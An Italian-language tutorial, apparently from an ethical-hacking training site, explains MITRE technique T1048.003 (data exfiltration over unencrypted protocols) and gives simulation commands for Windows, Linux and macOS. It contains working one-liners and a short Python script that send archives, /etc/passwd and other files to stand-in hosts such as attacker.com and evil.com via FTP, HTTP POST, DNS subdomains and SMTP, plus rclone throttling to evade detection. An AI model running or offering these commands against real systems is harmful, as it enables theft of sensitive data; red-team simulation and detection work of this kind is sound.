Exfiltration Over Unencrypted: Exfiltration Over Unencrypted Non-C2 Protocol (T1048.003)
L'esfiltrazione di dati attraverso protocolli non cifrati rappresenta una tecnica insidiosa utilizzata dagli attaccanti per sottrarre informazioni sensibili sfruttando canali alternativi rispetto alla comunicazione di command and control principale. Questa metodologia appartiene alla tattica TA0010 - Exfiltration, posizionandosi nella fase finale della kill chain quando l'avversario ha già raccolto i dati target e necessita di estrarli dalla rete compromessa.
Gli attaccanti optano per protocolli nativamente non cifrati come HTTP, FTP o DNS per diversi motivi strategici. Primo, questi protocolli sono spesso permessi dai firewall aziendali per supportare operazioni legittime. Secondo, il traffico su questi canali può mimetizzarsi facilmente tra le comunicazioni normali, riducendo le probabilità di detection.
La tecnica può coinvolgere l'offuscamento dei dati attraverso encoding come base64 o algoritmi di compressione personalizzati, inserendo le informazioni rubate direttamente negli header dei protocolli o nei campi delle richieste. 11 gruppi APT documentati utilizzano attivamente questa tecnica, insieme a 22 famiglie di malware conosciute, evidenziando la sua popolarità nell'arsenale degli attaccanti moderni.
Per simulare efficacemente questa tecnica in ambiente di test, iniziamo con l'esfiltrazione base via FTP. Su Windows, dopo aver raccolto dati sensibili in un archivio:
echo open ftp.malicious.com 21 > ftpcmd.txt echo anonymous >> ftpcmd.txt echo pass@fake.com >> ftpcmd.txt echo binary >> ftpcmd.txt echo put sensitive_data.zip >> ftpcmd.txt echo quit >> ftpcmd.txt ftp -s:ftpcmd.txt
Su Linux, l'approccio può essere più sofisticato utilizzando curl per trasferimenti HTTP con dati codificati. Prima comprimi e codifica i dati target:
tar -czf - /etc/passwd /home//Documents/* | base64 | curl -X POST -d @- http://attacker.com/upload.php*
Per simulare il comportamento di APT32, che codifica dati nel campo subdomain delle query DNS, puoi utilizzare questo script Python:
import base64
import subprocess
data = open("sensitive.txt", "rb").read()
encoded = base64.b64encode(data).decode()
chunks = [encoded[i:i+63] for i in range(0, len(encoded), 63)]
for chunk in chunks:
subprocess.run(["nslookup", f"{chunk}.evil.com"])
Su macOS, l'esfiltrazione può sfruttare comandi nativi del sistema. Il gruppo Dok utilizza curl per trasferire log via FTP:
curl -T /tmp/execution.log ftp://anonymous:fake@attacker.com/uploads/
Per simulare il comportamento di Lazarus Group che genera email SMTP con informazioni delle vittime, crea uno script che interagisce direttamente con server SMTP:
python -c "import smtplib; s=smtplib.SMTP('mail.evil.com',25); s.sendmail('victim@company.com','exfil@evil.com','Subject: Data\n\n$(cat /etc/hosts | base64)')"
Gli strumenti specializzati come Rclone permettono simulazioni più realistiche. Dopo l'installazione, configura un backend FTP o WebDAV e trasferisci interi alberi di directory:
rclone copy /home/user/sensitive_docs remote:backup --transfers 1 --bwlimit 100K
Il parametro bwlimit simula trasferimenti lenti per evitare detection basata su anomalie di banda.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo